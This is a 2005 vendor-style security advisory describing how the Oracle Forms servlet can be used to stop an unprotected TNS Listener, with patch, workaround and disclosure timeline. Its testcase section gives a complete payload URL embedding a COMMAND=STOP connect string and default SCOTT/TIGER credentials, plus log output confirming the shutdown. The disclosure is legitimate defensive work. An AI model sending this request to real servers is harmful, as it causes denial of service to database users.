Shutdown TNS Listener via Oracle Forms Servlet ############################################## Name Shutdown TNS Listener via Oracle Forms Servlet Systems Affected Oracle Forms Severity Medium Risk Category Denial of Service Vendor URL http://www.oracle.com This advisory http://www.red-database-security.com/advisory/oracle_forms_shutdown.html Author Alexander Kornbrust (ak at red-database-security.com) Date 7 October 2005 (V 1.00) Details ####### The forms servlet can be used to stop the (unprotected) TNS Listener. Affected Products ################# Oracle Forms Testcase ######### http://server:8888/forms90/f90servlet?form=test.fmx&userid=SCOTT/TIGER@( DESCRIPTION=(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)(HOST=server)(PORT=1521 )))(CONNECT_DATA=(COMMAND=STOP)(SERVICE=LISTENER)))&buffer_records=NO&de bug_messages=NO&array=YES&query_only=NO&quiet=NO&RENDER=YES Excerpt from the listener.log: 28-OCT-2003 14:44:46 * (CONNECT_DATA=(COMMAND=STOP)(SERVICE=LISTENER)(CID=(PROGRAM=C:oracleor adev9ibinifweb90.exe)(HOST=SERVER)(USER=Administrator))) * stop * 0 Affected systems ################# All versions of Oracle Forms until CPU July 2005. Patch Information ################# This bug is fixed with Critical Patch Update July 2005 (CPU July 2005). Oracle forgot to inform Red-Database-Security that this bug is fixed with CPU July 2005. Workaround ########## Protect the TNS Listener with a password. History ####### 28-oct-2003 Oracle secalert was informed 29-oct-2003 Bug confirmed 12-jul-2005 Oracle published CPU July 2005 without informing Red-Database-Security that this bug is already fixed. 07-oct-2005 Red-Database-Security published this advisory © 2005 by Red-Database-Security GmbH - last update 7-october-2005